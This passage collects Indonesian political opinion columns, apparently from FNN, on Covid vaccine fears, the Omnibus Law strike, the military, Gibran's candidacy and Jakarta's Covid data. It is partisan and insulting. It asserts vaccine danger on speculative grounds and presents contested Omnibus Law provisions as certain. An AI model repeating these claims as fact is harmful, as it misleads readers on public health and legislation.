lain, infeksi virus corona jadi berlangsung kronis dan lama serta melemahkan sistem imun. Nidom menyebut potensi ADE pada virus corona ini masih sebatas bukti empiris dari analisa data virus yang memiliki ADE. “Kemudian kita analogikan jika terjadi pada Covid,” ujarnya. Sehingga, ia mendorong agar dilakukan penelitian preklinis untuk mencegah hal itu terjadi ke manusia. “Jangan sampai kita terjadi seperti itu kita terlambat,” lanjut Nidom. Nidom menambahkan ADE menjadi titik kritis dalam disain dan pengembangan vaksin. Studi terdahulu terhadap kandidat vaksin Dengue (DENV) memberikan gambaran bahwa ADE bisa memicu tingkat keparahan penyakit pasca vaksinasi. Sebagai contoh seperti terjadi pada penerapan vaksin demam berdarah yang sempat diuji di Filipina pada 2017 lalu. Vaksin itu, menurut Nidom, sudah melewati uji klinis tahap III dan dikomersialisasikan. Menurut Nidom, saat vaksin itu duji ke anak-anak untuk memicu antibodi, vaksin itu malah menimbulkan patogensitas lebih tinggi ketika pasien terinfeksi virus berikutnya. Akibatnya, uji vaksin demam berdarah dihentikan di Filipina. Contoh kedua, pada uji klinis pada vaksin untuk HIV AIDS di negara di Afrika. Vaksin yang diproduksi oleh sebuah lembaga riset Amerika Serikat tersebut ternyata malah menimbulkan masalah baru akibat muncul fenomena ADE. “Maka program vaksinasi HIV distop,” ujarnya. Hingga saat ini, para ahli terus melakukan penelitian terhadap virus corona dan mendapat temuan-temuan baru. Salah satunya terkait dengan potensi virus corona SARS-CoV-2 yang menimbulkan fenomena ADE seperti diutarakan Nidom. Selain itu, Nidom mengatakan, keberadaan ADE ini menarik mengingat saat ini berbagai negara di dunia, termasuk Indonesia, sedang membuat vaksin yang akan menghasilkan antibodi. WHO menyatakan, tidak bisa mengharapkan vaksinasi Covid-19 hingga pertengahan 2021. Mengutip Reuters, mereka menekankan pentingnya pemeriksaan ketat terhadap efektivitas dan keamanan vaksin. Juru Bicara WHO Margaret Harris menyatakan, tak satu pun dari kandidat vaksin dalam uji klinis lanjutan sejauh ini yang menunjukkan “sinyal jelas” kemanjuran di tingkat setidaknya 50 persen yang dicari oleh WHO. Dari sini menjadi aneh jika Pemerintah tetap memaksakan Vaksinasi Nasional pada rakyat Indonesia, tanpa peduli bahaya vaksin Covid-19. *** Penulis wartawan senior FNN.co.id

Mogok Mogok Dan Mogok

by M. Rizal Fadillah Bandung FNN - Selasa (06/10). Rancangan Undang-Undang (RUU) Cipta Kerja segera dibawa ke Sidang Paripurna DPR untuk dapat persetujuan dewan. Pandangan Fraksi telah terpetakan, hanya dua Fraksi yang menolak yaitu Fraksi PKS dan Fraksi Demokrat. Sedangkan fraksi lainnya koor "setujuu". Memang Dewan Perwakilan Rakyat (DPR) realitanya sudah terkooptasi oleh Pemerintah. Maklum saja mayoritas adalah partai koalisi partai pendukung Presiden. Kenyataan ini mengindikasikan ada yang tidak beres dalam sistem dan pranata ketatanegaraan kita. DPR menjadi Dewan Perwakilan Rezim. Koalisi Aksi Menyelamatkan Indonesia (KAMI) mendukung seruan dan rencana mogok nasional para buruh. Sepakat bahwa Omnibus Law RUU Cipta Kerja adalah aturan yang dibuat hanya untuk menguntungkan pengusaha atau pemilik kapital. Undang-Undang yang sama-sekali tidak berpihak kepada pekerja. Karenanya sangat layak untuk ditolak. Banyak elemen yang juga menolak, termasuk PP Muhammadiyah yang menyerahkan hasil kajian Omnibus Law RUU Cipta Kerja kepada Pimpinan DPR. Muhammadiyah meminta DPR menghentikan pembahasan. Kegaduhan politik telah menjadi cipta kerja Pemerintah dan DPR. Mogok adalah hak konstitusional pekerja dan undang undang memberi perlindungan adanya unjuk rasa buruh yang bermodel mogok. Mogok adalah suara keras buruh terhadap ketidakadilan dan ancaman atas hajat hidup orang banyak khususnya tenaga kerja di berbagai bidang usaha. Mogok mogok dan mogok untuk melawan kerja kerja kerja. Kerja yang menyimpang dari nilai-nilai hubungan industrial yang sehat. Kerja yang hanya memperbudak tenaga kerja dengan meminimalisasi hak-hak yang dimilikinya. Kerja yang berorientasi untuk lebih menggemukan pemilik modal yang memang sudah gemuk. Kerja yang sekedar slogan dari konten pidato. Menjadi tidak jelas arah dan pelaksanaan. Hanya kerja pencitraan politik. Seruan mogok nasional dari para buruh adalah perlawanan efektif untuk menembus ketidakadilan dan ketidakpedulian penguasa dan DPR. Hubungan Industrial Pancasila yang telah dibantai oleh Hubungan Industrial Kapitalisme. Mogok adalah senjata buruh untuk menjaga martabat diri dari penindasan kaum borjuasi. Pengorbanan berat untuk berpuasa demi membela marwah komunitas yang berimplikasi pada diri dan keluarga. Mogok menjadi alat perjuangan menuju perubahan. RUU Omnibus Law Cipta Kerja telah menjadi hantu yang menakutkan, dan mengganggu kenyamanan serta kebahagiaan kerja. RUU Omnibus Law Cipta Kerja harus disingkirkan. Rakyat dan kaum buruh tidak butuh Omnibus Law. Seorang Guru Besar menyatakan bahwa Omnibus Law akan menjadikan rakyat Indonesia menjadi bangsa jongos. Semangat buruh untuk mogok nasional jangan dibaca dengan kacamata negatif. Tetapi ini adalah pengingat bahwa semakin kecil peluang upaya alokasi aspirasi melalui negoisasi. Anggota Dewan, meski tidak seluruhnya, sulit untuk mandiri. Kungkungan Fraksi begitu kuat dan Partai memiliki kepentingan yang terlalu pragmatis dan transaksional. Mogok melawan RUU Omnibus Law Cipta Kerja tiada lain adalah perjuangan menegakkan kebenaran dan keadilan. Strike is a hard struggle to continue justice. Mogok mogok mogok. Penulis adalah Pemerhati Politik dan Kebangsaan.

Makna Jiwa Korsa Untuk Prajuri TNI (Bagian-2)

by Anton Permana Jakarta FNN- Selasa (06/10). Dalam rangka memperingati HUT TNI yang ke75, maka sebagai anak bangsa Indonesia, kita semua tentu bangga karena mempunyai tentara yang hebat, dan termasuk paling terbaik di dunia. Yaitu Tentara Nasional Indonesia. Tentara rakyat yang setia loyal kepada Pancasila dan UUD 1945. Karena jati diri TNI itu lahir dari rakyat, untuk rakyat. Sebagai tentara kebanggaan kita semua, yang diamanahkan sebagai komponen utama sistem pertahanan negara, tentu tidak heran apabila yang menjadi tentara itu adalah para putera-puteri terbaik bangsa. Mereka direkrut melalui seleksi yang sangat ketat, kemudian dilatih, dididik, dibina, dan disumpah agar menjadi tentara yang tangguh. Tentara yang terampil, profesioal, dan militan sebagai kebanggaan kita semua. Untuk itulah TNI selalu dibekali dengan kemampuan, doktrin, kedisiplinan, standar fisik, cara berpikir, serta semangat patriotik yang wajib di atas rata-rata masyarakat sipil biasa. Sebagai komponen utama alat pertahanan negara, TNI tidak cukup hanya dibekali dengan seragam loreng dan persenjataan saja. Ada satu kekuatan utama di dalam diri setiap personil TNI yang juga harus WAJIB menjadi kekuatan utama dirinya, baik secara individu, secara korps kesatuan, maupun secara institusi, yaitu “Jiwa Korsa”. Le'espirit de corps. Karena, dengan jiwa korsa inilah akan bisa terjalin kuat sebuah ikatan loyalitas, persaudaraan, rasa senasib dan seperjuangan, semangat kehormatan, antar sesama prajurit. Jiwa korsa ini bagaikan urat nadi, talian nafas, yang mengikat kuat jiwa-jiwa seorang prajurit, agar seolah menjadi satu bahagian tubuh yang kuat tangguh tak terpisahkan. Satu bahagian yang sakit, maka bahagian yang lainnya juga akan merasa sakit. Itulah jiwa korsa. Karena dengan jiwa korsa ini juga, para prajurit ini akan mempunyai daya gempur, daya tahan, daya soliditas yang kuat dalam menyelesaikan setiap tugas berat dan misinya. Artinya, jiwa korsa sejatinya adalah kehormatan bagi seorang prajurit. Jiwa korsa adalah identitas utama seorang prajurit. Jiwa korsa adalah parameter batin dan degub jantung setiap prajurit TNI. Karena jiwa korsa inilah yang menjadi pembeda antara TNI dengan masyarakat sipil lainnya. Jiwa korsa seorang prajurit TNI itu dimulai dari kesetiaannya kepada negara, yaitu Pancasila dan UUD 1945. Kemudian baru kepada atasan dan pimpinan, kepada para senior, kakak asuh, pelatih, dan seterusnya. Sedangkan di dalam Konstitusi kita dalam pembukaan UUD 1945 jelas tertulis bahwasanya, negara Republik Indonesia ini berkedaulatan rakyat. Induk semang" TNI itu adalah rakyat. Karena TNI lahir dari rahim rakyat. Bukan cukong atau partai politik. Jadi sangat disayangkan apabila, kekuatan utama jiwa korsa seorang prajurit TNI ini sampai dikotori oleh tangan-tangan jahil politik kekuasaan. Ataupun juga campur tangan pihak luar yang sengaja mengobok-ngobok, memperalat, mengadu domba sesama prajurit. Apapun alasannya. Karena, sejatinya prajurit itu pasti akan selalu menjaga kehormatan dan wibawanya. Salah satu caranya itu adalah dengan loyal terhadap atasan, pimpinan, senior, pelatih, kakak asuh, bahkan sampai kepada anak buah dan para juniornya. Walaupun sudah pensiun sekalipun. Tradisi ini terjaga kuat selama ini, dan tradisi ini jugalah yang menjadi puncak kehormatan dan wibawa TNI di mata masyarakat. Namun sayang, semua ini tercoreng oleh tindakan oknum-oknum yang terjebak oleh sifat loyalitas buta. Pada insiden Gedung Juang DHD 45 Surabaya dan insiden ziarah purnawirawan di TMP Kalibata. Dimana dalam era pasca reformasi ini, TNI berada di bawah kendali supremasi sipil harus pandai menempatkan diri agar berdiri di tengah. Jangan sampai mau diperalat oleh politik kekuasaan golongan tertentu. Perbuatan yang menjadi aib bagi seluruh keluarga besar TNI, yaitu ketika melihat seorang mantan Panglima TNI, jendral bintang penuh, digelandang sedemikian rupa oleh petugas karena alasan yang tidak sesuai dengan fakta. Begitu juga insiden TMP Kalibata. Bagaimana seorang Dandim menghadang para seniornya dengan arogansi dan sikap diskriminatif. Padahal para purnawirawan itu ada yang mantan kepala staf (bintang empat), bintang tiga, bintang dua dan Pamen. Sungguh sebuah peringatan keras bagi semua keluarga besar TNI. Apakah masih ada semangat dan jiwa korsa itu dalam jati diri prajurit TNI hari ini ??? Apakah politik kekuasaan, iming-iming posisi jabatan, dan politik kepentingan ideologis partai politik tertentu telah berhasil merubuhkan apa yang selama ini menjadi kekuatan dan kebanggaan utama prajurit TNI ?? Semua geram, semua marah, melihat kejadian ini yang dilihat jutaan rakyat Indonesia secara telanjang. Satu pertanyaan seragam dari rakyat sekarang ini. Apakah masih ada jiwa korsa itu dalam diri prajurit TNI ? Bagaimana mau menjaga kedaulatan negara, sedangkan menjaga kehormatan keluarga besar TNI saja tidak mampu? Secara pribadi saya menjawab masih ada. Saya juga yakin masih ada dan kuat. Kejadian Surabaya dan TMP Kalibata hanyalah perbuatan oknum yang atas nama tugas, telah diperalat oleh sebuah kekuatan yang besar, sehingga kejadian memalukan itu terjadi. Untuk itulah, di hari yang penuh sejarah ini, mari kita semua merenung. mendalami lagi semangat patriotik dan jati diri seorang prajurit TNI yang telah ditanamkan oleh para pendahulu kita. Mari kita juga instropeksi, agar TNI ke depan jangan mau diperalat dan "dikerjain" lagi oleh kekuatan luar TNI. Mengadu domba sesama prajurit TNI antara senior dan junior ? Ini sama saja menepuk air di dulang. Mari kembalikan semangat dan jiwa korsa sesama prajurit TNI. Karena hanya dengan itu, wibawa dan kehormatan TNI kembali berdiri tegak. Untuk menjadi tentara kebanggan seluruh rakyat Indonesia, jiwa korsa TNI adalah untuk negara, rakyat, dan keluarga besar TNI. Bukan untuk cukong dan politisi. Dirgahayu TNI ku yang ke-75. Harapan dan do'a rakyat Indonesia akan selalu menyertaimu. Jaga negeri ini dengan jiwa ragamu. Salam Indonesia Jaya! Penulis adalah Direktur Eksekutif Tanhana Dharma Mangruva Institute.

UU Omnibus Law, Perbudakan Buruh Di Negeri Sendiri

by Edy Mulyadi Jakarta FNN - Senin (05/10). Sabtu malam, 3 Oktober 2020, DPR dan pemerintah sepakat meloloskan RUU Omnibus Law dibawa ke Sidang Paripurna DPR, 8 Oktober untuk disahkan. Tragedi tengah malam kembali terjadi. Tengah malam itu, kembali para elit bersekongkol secara jahat untuk menindas rakyatnya sendiri. Tampaknya DPR dan Pemerintah untuk kesekian kalinya kembali mengkhianati rakyat dengan menyepakati RUU Omnibus Law atau RUU Cipta Kerja. Persis sama seperti KPU yang mengumumkan hasil Pemilu bermasalah yang sarat dengan kecurangan. Beberapa pasal UU Cipta Kerja yang dipastikan bakal menyengsarakan buruh antara lain, dihilangkannya pesangon , dihapuskannya UMP, UMK, dan UMSP serta upah buruh yang dihitung per jam. "Selain itu, RUU ini juga menghapuskan semua hak cuti tanpa ada kompensasi. Di antaranya cuti sakit, cuti kawinan, khitanan, cuti kematian, dan cuti melahirkan hilang dan tidak ada kompensasi. Hal lain yang tidak kalah memprihatinkannya, UU Omnibus Law ini akan memberi hak kepada pengusaha untuk mengganti _outsourcing_ dengan kontrak seumur hidup. Buruh akan berstatus kontrak, yang terus-menerus diperpanjang. Masih banyak pasal lain yang sangat mengeksploitasi dan menindas buruh. Antara lain, semua karyawan berstatus tenaga kerja harian, libur hari raya hanya pada tanggal merah dan tidak ada penambahan cuti. Selain itu, tenaga kerja asing bebas masuk, dan istirahat hari Jumat hanya satu jam, termasuk sholat Jumat. Dengan semua penindasan itu, buruh dilarang protes. Pasalnya, RUU Cipta Kerja memberi hak kepada pengusaha untuk melakukan PHK kapan saja, tanpa ada kewajiban memberi pesangon. Semua sanksi bagi pengusaha di RUU ini juga dihapuskan. Dengan konten yang menindas buruh seperti itu, pada hakekatnya RUU ini adalah pintu masuk bagi perbudakan terhadap buruh kita. DPR dan Pemerintah sudah kehilangan nurani dan akal budinya. Entah rakyat mana yang diwakili para anggota Dewan itu. Sementara para pejabat pemerintah yang gaji dan segala fasilitasnya dibiayai rakyat, ternyata justru secara kejam menyengsarakan buruh yang jelas-jelas bagian dari rakyat itu sendiri. Tak pelak lagi, UU ini adalah perbudakan gaya baru di era modern. Kita harus lawan. Kita dukung penuh perjuangan buruh menolak RUU Cipta Kerja. Penulis adalah Presidium Aliansi Selamatkan Merah Putih (ASMaPi)

Negara Tanpa Kekuatan "Checks and Balances"

by Sayuti Asyathri Jakarta FNN – Senin (05/10). Selama masa Pemerintahan SBY, saya kritik habis kepemimpinannya. Bahkan mengedarkan formulir di parlemen untuk rencana mengimpeachnya. Saya bangun wacana impeach atas presiden hampir sebulan di media nasional, tetapi tidak ada satupun pendukungnya yang menghadapinya dengan hujatan, apalagi dengan cara koor dalam satu barisan virtual penghujat. Pak E.E Mangindaan, yang Ketua Komisi II DPR waktu itu, bersama pimpinan Partai Demokrat, justru tidak sedikitpun mengurangi keakraban dan komunikasi dengan kawan-kawan di Komisi. Bahkan semakin banyak tugas dan tanggungjawab diserahkan kepada saya. Namun kini, kalau ada yang mengatakan kebijakan pemerintah salah saja, tidak lama kemudian langsung diserbu dengan hujatan dan cacian. Penguasa sekarang mempunyai punya suatu barisan hujatan dan cacian yang seperti siap menerkam dan merobek mangsa di belantara. Sesungguhnya kita sedang hidup di hutan mana? Sehingga tidak lagi menghargai kritik dan kontrol sosial? Padahal pada masa Soeharto yang dikenal kejam saja, mahasiswa bebas untuk kritik. Mereka yang kritik Soeharto dihormati dan dibanggakan sebagai calon pemimpin bangsa. Media massa nasional yang ketika itu dikontrol oleh pemerintah, selalu menyelipkan pesan perlunya peningkatan partisipasi masyarakat dalam pembangunan. Juga pentingnya kontrol sosial dari warga masyarakat. Suara rakyat didengar. Kalau ada kenaikan tarif jasa publik, listrik, tarif toll,bis kota dan lain-lain, selalu disosialisakan dan meminta umpan balik dari masyarakat. Sehingga kenaikan dilakukan dengan sangat hati hati. Padahal kalau mau saja, Soeharto miliki kemampuan untuk memaksakan keinginannya. Pada masa reformasi, priinsip partsisipasi dan kontrol sosial menjadi inti dari pesan dan semangat reformasi. Ideologi Pancasila ditetapkan sebagai ideologi terbuka yang perlu memperoleh kajian dan timbangan kritis untuk keberhasilan dan keandalan dalam penerapannya. Reformasi digemakan agar nasib bangsa ini lebih baik dari keadaan di masa Pak Harto. Tetapi mengapa justru sekarang keadaan demokrasi dan perbedaan pendapat menjadi buruk di masa sekarang? Rakyat hanya menjadi objek hinaan dan kekerasan. Bukan lagi sebagai subjek dan objek pembangunan. Minimal posisi rakyat sebagaimana yang ditekankan media massa Orde baru dulu. Sesungguhnya untuk siapa pembangunan itu? Kalau rakyat dalam posisi kehilangan selera partisipasi dan hanya menjad objek pesakitan. Rakyat hari-hari hanya menjadi objek tuduhan penguasa dengan sebutan Islam radikal, taliban kadrun dan segala bentuk penyudutan lainya. Mila rakyat punya sedikit saja keinginan untuk menggugah pemerintah atas nasib mereka, atau bila mereka mengeluhkan keburukan yang mereka alami akibat kebijakan yang tidak menguntungkan mereka, maka mereka siap hadapi penerapan serangan model seperti Israel terhadap Palestina. Siapa yang memprotes penyerobotan tanah Palestina oleh Israel, maka mereka adalah Islam ektstrim. Termasuk dalam kategori bahwa semua orang Arab dan Islam ingin membunuh semua Yahudi. Itu cara terbaik Israel untuk memuluskan penyerobotan tanah dan merusak identitas Palestina. Kalau demikian, lantas mana itu kekuatan checks and balances yang menjadi sendi utama dari konstitusi kekuatan civil society? Ciri utama negara demokrasi adalah kuatnya civil society yang melahirkan keuatan checks and balances. Mana yang namanya the magnificient power of social control in solving national problems and crisis? Wajar saja kalai publik menyimpulkan bahwa memang pembangunan itu tidak otentik untuk rakyat. Tetapi untuk selain rakyat. Sangat boleh jadi untuk tuan asing dan penjajah bangsa ini. Karena itulah mengapa baja nasional kita, pabrik-pabrik semen, dan sumberdaya strategis kita justru rontok di saat ribuan trilyun dana infrastruktur digelontorkan. Mengapa produktivitas nasional kita merosot? Kelas menengah kita jadi terpelanting? Pengangguran meningkat dan matinya daya kreatif anak bangsa karena belenggu sub-ordinasi dan penistaan? Mementara Menkeu semakin kencang meneriakkan bahaya gagal bayar dan negara seperti sedang dilucuti martabat dan kehormatannya. Untuk semua itu, tidak ada cara lain, kecuali harus ada tindakan-tindakan besar untuk menyelematkan negeri ini. Sebagai negara, kita semua, bukan milik satu kelompok tertentu, apapun suku, agama, mazhab dan keyakinannya. Penulis adalah Pemerhati Politik dan Kemasyarakatan.

Agum Gumelar Ngaco Soal Komunisme

by Ubedilah Badrun Jakarta FNN – Senin (05/10). Pernyataan Ketua Umum Persatuan Purnawirawan ABRI (Pepabri) Jendral Kehormatan TNI (Purn. ) Agum Gumelar yang dikutip sebuah media online mainstream keliru besar. Miris juga saya mendengar pernyataan dari seorang Jendral Purnawirawan yang sangat miskin data. Sudah salah, ngawur dan ngaco pula dalam membuat kesimpulan. Dampaknya bisa sangat menyesatkan. Sekelas Agum Gumelar menyebut bahwa PKI di Indonesia adalah bagian dari gerakan komunisme internasional, dan Republik Rakyat Cina (RRC ). Padahal secara ekonomi, RRC sudah sangat kapitalis. Kata Agum lagi, RRC kini telha menjadi negara kapitalis terbesar di dunia. Hanya dengan alasan itu, orang sekelas Agum Gumelar lantas menyimpulkan bahwa komunisme sudah basi dan sudah bubar. Ini bentuk kasimpulan dan asumsi yang ngwur, ngaco dan sangat menyesatkan. Kesimpulan yang tanpa berbasis pada data dan fakta. Hanya karena Agum Gumelar tidak detail dalam membaca permasalahan di RRC. Bahwa benar RRC merubah haluan ekonominya iya. RRC juga takluk pada kapitalisme dan liberalisme ekonomi, juga iya. Tetapi di wilayah politik RRC, tidak ada yang berubah satu centipun. Politik di RRC itu masih tetap saja berhaluan komunis. Bukti apa ? Bukti yang paling sederhana adalah Partai Politik Komunis masih menjadi partai tunggal di RRC. Hanya Partai Komunis Cina yang mengendalikan seluruh lili pemerintaha di RRC. Yang namanya demokrasi itu, tidak tumbuh dengan sehat disana. Sebagaimana demokrasi yang tumbuh dan berkembang di negara-negara liberal kapitalis lainya. Partai politik tunggal adalah salah satu ciri utama dari sitem komunisme dalam politik. Doktrin tentara RRC adalah taat dan tunduk kepada Partai Komunis Cina. Bukan taat dan tunduk kepada negara RRC. Bgitulah salah satu sistem dan cara komunisme dalam mengelola dan mengusai negera. Kellee S.Tsai dalam bukunya Capitalism without Democracy: The Private Sector in Contemporary China (2007) menyebutkan bahwa Chinese entrepreneurs are not agitating for democracy. Most are working eighteen-hour days to stay in business. Mereka para pebisnis tersebut menurut Kellee S.Tsai adalah anggota Partai Komunis China. Dan itu juga yang menjadi haluan politik Tiongkok. Bahwa politiknya tetap saja komunisme, meski ekonominya liberal kapitalis. Meskipun ekonominya kapitalisme, China juga pada titik tertentu tidak murni kapitalis. Bukti lainya adalah posisi RRC yang selalu berhad-hadapan dengan Amerika Serikat, dan sangat getol melakukan perang dagang dengan Amerika Serikat. Jika betul RRC kapitalis dan liberalis, mestinya bersahabat dengan Amerika Serikat. Faktanya tidak juga tuh. Mestinya Agum Gumelar minimal tau dua argumen di atas. Sehingga Agum yang Jendral Kehormatan TNI (Purn.) itu tidak bicara tanpa data yang akurat. Jadinya, komentar Agum Gumelar jelas-jelas keliru, ngawur dan berlebihan terhadap isu Partai Komunis Indonesia (PKI) dan faham komunisme yang dilontarkan oleh mantan Panglima TNI, Jendral Purnawirawan benaran Gatot Nurmantyo. Apa yang disampaikan Gatot Nurmantyo itu sifatnya warning. Juga sebagai analisis tentang kemungkinan metamorfosis faham komunisme dimanapun, khususnya di Indonesia. Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta.

Gibran, Anak "Tuan 92%" Yang Menjadi Kadrun

by M Rizal Fadillah Bandung FNN – Senin (05/10). Gibran Rakabuming Raka, anak Presiden Jokowi yang menjadi calon Walikota Solo merasa telah "booming". Apalagi mendapat dukungan dari koalisi mayoritas partai politik. Bahkan partai politik baru tanpa malu-malu juga ikut nimbrung mendukung. Dulu awalnya Gibran sama-sekali tidak terfikir untuk berkompetisi menjadi Kepala Daerah katanya. Mungkin saja karena takut menyulitkan posisi sang ayah yang mengagendakan jabatan politik yang lebih meroket dua periode. Karena keinginan dua periode sudah tercapai, maka sang anak sudah bisa untuk lampiaskan keinginan menjadi Walikota Solo. Situasi kini berbeda. Setelah muncul Gibran keinginan untuk menjadi Walikota Solo, tentu saja ini adalah keinginan mendapat dorongan atau dukungan penuh dari ayahanda. Masyarakat wajar saja kalai melihat status Gibran sebagai "putera raja" menjadi modal politik terbesar. Adapun modal kecilnya adalah kompetensi dan pengalaman yang sangat sangat minim dan bau kencur itu tidak lagi penting untuk dipertimbangkan. Jualan martabak saja, dipastikan bukan modal sosial untuk meraih jabatan politik. Modal utamanya adalah putera raja. Mulai merasa "over confidence". Gibran berujar bahwa kemenangan sudah pasti bakal digenggamnya. Tetapi tidak mau kemenagan itu sampai 70 % atau 80% saja. Harus bisa mencapai 92 % kemengan. Toh, sebenarnya kalau mau ditargetkan kemengan 110% juga boleh-boleh saja. Apalagi putera raja Namun kemenangan harus harus berdasarkan pada kalkulasi yang rasional untuk mencapainya. Atau memang pesaing independennya itu adalah pasangan yang "abal-abal" sehingga bisa dianggap enteng-enteng saja? Semacam shadow boxing begitu. Atau mungkin juga sudah siap dengan kelicikan dan mark up otak atik suara di Komusi Pemilihan Umum (KPU). Misalnya yang awalnya hanya 29 suara. Namun di KPU bisa berubah menjadi 92? Kalau kelicikan ini yang sudah dipersiapkan, maka jangankan hanya 92%, kemengan yang lebih besar, bahkan 200% juga kemungkinan aja bisa didapat Gibran. Jadi teringat model kekaisaran Romawi atau Cina yang selemah apapun sang putera, atau kerabat dapat dengan mudah untuk menduduki kursi jabatan Kaisar. Bukan soal dinastinya, tetapi idiotnya itu. Rakyat pun tidak bisa berbuat apa-apa memiliki Kaisar yang bukan saja "incompetent", tetapi juga abnormal. Caligula dan Nero adalah contoh Kaisar yang gila kuasa. Kekuasaan adalah Tuhan. Kejumawaan Gibran merupakan fenomena praktek politik kolusif dan nepotisme. Bukan kompetisi obyektif dan fair. Apresiasi pada kapasitas kah sehingga Megawati Ketum PDIP dan Sandiaga Uno Wakil Ketua Dewan Pembina Gerindra akan ikut berderet berkampanye untuk Gibran? Atau ini urusan dengan ayahnya yang sang Presiden ? Adakah Partai yang berkoalisi untuk mendukung penuh Gibran itu berhubungan dengan budaya politik sandera menyandra? Atakah memang ada proteksi atau transaksi besar disana? Silah ditanyakan kepada yang terhormat para Ketua Umum Partai Politik pendukung Gibran tersebut. Sebab apapun yang ada dibalik dukungan penuh Partai Politik kepada Gibran, terserah mereka saja. Olok-olok publik pada Gibran muncul soal pencitraan yang berfoto koko peci mengimami shalat berjamaah. Komentar netizen demi jabatan walikota siap juga untuk menjadi kadrun. Like father like son. Teringat kembali Novel "The Da Peci Code" karya Ben Sohib. Soal sengketa interpretasi pemakaian peci di keluarga marga al Gibran di Betawi. Peci pencitraan. Mungkin bagi Gibran angka kemenangan 92 % adalah hal yang "biasa saja". Karena dirinya hanya orang yang "biasa saja" dididik oleh orang tua yang menganggap anak mantu besan maju Pilkada itu "biasa saja". Nepotismekah? "biasa saja". Jika menjadi Walikota ternyata tidak becus dan korup, maka itu juga "biasa saja". Biarlah kalau begitu masyarakat yang menghukuminya, dan juga itu "biasa saja". Selamat menikmati kampanye Pilkada di era Covid 19 "tuan 92 %". Kelak jika korban berjatuhan akibat pandemi Covid 19 meningkat, maka hal itu adalah hal yang "biasa saja". Memang bangsa sudah payah, karena punya Presiden dan anak Presiden yang "biasa saja". Penulis adalah Pemerhati Politik dan Kebangsaan.

Istana Menyerang Anies, Karena Oon Membaca Data

by Tony Rosyid Jakarta FNN – Senin (05/10). Istana menyerang Anies, itu biasa. Sudah seperti sarapan pagi saja. Kalau nggak nyerang, justru publik nanya, kapan lagi ya? Tumben! Serangan Istana ke Anies sudah menjadi pekerjaan yang ritual. Sudah seperti sesajen yang harus dan mutlak ada. Kondisi ini sekaligus menegaskan posisi istana sebagai pihak yang opisisi kepada Anies. Sampai kapan ya? Sampai Anies tak lagi menjadi gubernur DKI dan pindah ke kursi di Istana. Kali ini aktor penyerangnya adalah Mahfuz MD dan Airlangga Hartarto. Posisi Mahfuz sebagai Menko Polhukam dan Airlangga Hartarto adalah Menko Perekonomian. Menko Polhukam dan Menko Perekonomian kok ikut-ikutan ngurus covid-19 DKI yaaaa??? Mungkin juga berbagi tugas dengan Menko Maritim dan Investasi Luhut Binsar Panjaitan. Menko Maritim dan Investasi ngurus covid-19 tingkat nasional. Sedangn Manko Polhukam dan Menko Perekonomian kebagiandi wilayah DKI. Kalau Menhan? Biarkan beliau ngurus singkong saja. Sebab ini bagian dari ketahanan pangan. Entar kalau terjadi perang, kita bisa buat senjata dari singkong. Lalu kemana Menkes ya? Mungkin sedang sidak ke kerumunan yang pakai masker. Menurut beliau, ngapain pakai masker. Orang sehat gak perlu pakai masker. Pakai masker itu dikhususkan kepada mereka yang positif terkena pandemi corona saja. Kembali soal Mahfuz. Menko Polhukam ini bilang, "di DKI Jakarta yang tidak ada pilkada, justru angka infeksinya corona tinggi. Selalu menjadi juara satu soal penularannya"(2/10). Juara satu ya pak? Bisa dapat sepeda dong... Sejumlah daerah yang menggelar Pilkada 2020, justru turun status dan zona merah Covid-19, kata Mahfuz lagi. Dari 45 daerah berstatus zona merah, ada 16 daerah yang turun statusnya sehingga kini tinggal 29 daerah yang masih zona merah, lanjut Mahfuz. Sementara di daerah yang tak ada pilkadanya, zona merah naik, dari 25 menjadi 33, kata Mahfuz. Begitu ya pak? Data yang diungkap Mahfuz mungkin saja benar. Yang jadi soal adalah cara Mahfuz membaca data itu. Disitulah persoalannya. Kalau salah membaca, maka akan salah analisis dan salah pula menyimpulkan. Bisa kacau-balau, dan amburadul hasilnya. Untuk Indonesia, kemampuan negara melakukan tes PCR secara nasional itu sangat rendah. Hanya 1.799.563 dari total penduduk Indonesia yang jumlahnya 271.052.473. Nggak sampai 2%. Dari 1.799.563 penduduk yang dites itu, sebanyak 857.863 ada di Jakarta. Artinya, 48% penduduk Indonesia yang dites covid-19 itu adalah warga Jakarta. Sisanya, yaitu 941.700 itu warga di 33 propinsi. Penduduk Jakarta itu jumlahnya 10.944.986. Tapi telah melakukan tes PCR sebanyak 857.863. Sementara 33 provinsi di luar Jakarta, jumlah penduduknya 260.407.487. Yang dites PCR 941.700. Terus, gimana mau membandingkan Jakarta dengan 33 provinsi lain? Jumlah tes PCR jomplang banget dong??? Sekali lagi, 48% penduduk yang mendapatkan tes PCR secara nasional berada di Jakarta. Sisanya 52% tersebar di 33 provinsi. Wajar saja jika Jakarta lebih dulu berhasil melakukan tracing terhadap warga yang terinveksi covid-19. Kalau jumlahnya paling banyak, wajar! Karena yang dites jauh lebih banyak. Rupanya, ini bukan masalah data dan angka. Tetapi ini sudah masalah otak yang bekerja. Ada isinya apa nggak? Hehehe. Sebab kalau menggunakan standar WHO, dimana 1 orang dari 1.000 orang per minggu yang dites, maka tes di DKI itu 6x lipat lebih tinggi dari standar WHO. Faham nggak itu Pak Mahfud. Kalau kita menggunakan analisis mortality (tingkat kematian) karena covid-19, dimana rate mortality global 3,3% dan rate mortality nasional di kisaran 4%, maka rate mortality nasional jauh lebih tinggi dari rate mortality global. Sementara mortality di DKI hanya 2,8%. Fahami angkanya baik-baik Pak Mahfud. Mortality DKI Jakarta auh lebih rendah dari rate mortality nasional. Sedikit lebih rendah dari rate mortality global. Bandingkan dengan Jawa Timur yang 7,3%, Jawa Tengah di 6,3%, NTB 5,9%, Sumatera Selatan 5,6%, Bengkulu 4,9%, Sumatera Utara 4,2%, Kalimantan Selatan 4,1%, Sulawesi Utara 3,9% Aceh 3,9%, Kalimantan Timur 3,8% dan seterusnya. Kenapa tingkat kematian (rate mortality) nasional dan sejumlah daerah jauh melampaui batas mortality global? Jawabnya sederhana saja. Karena penduduk nasional yang dites masih terlalu amat sedikit. Jauh dibawah standar global. Kalah banyak dengan negara kecil di Afrika, Ghana. Kalau jumlah penduduk yang dites covid-19 itu sama prosentasinya dengan Jakarta misalnya, maka angka kematian nggak akan sebesar itu. Kalau toh selisih, nggak akan jauh dari angka kematian global. Masalahnya, daerah punya dana nggak untuk melakukan tes seperti yang dilakukan Anies di Jakarta? Atau dananya masih ngendap di Kementerian Keuangan? Gimana mau memperbanyak jumlah tes PCR, jika nggak punya dana? Ini masalah tersendiri. Jadi, 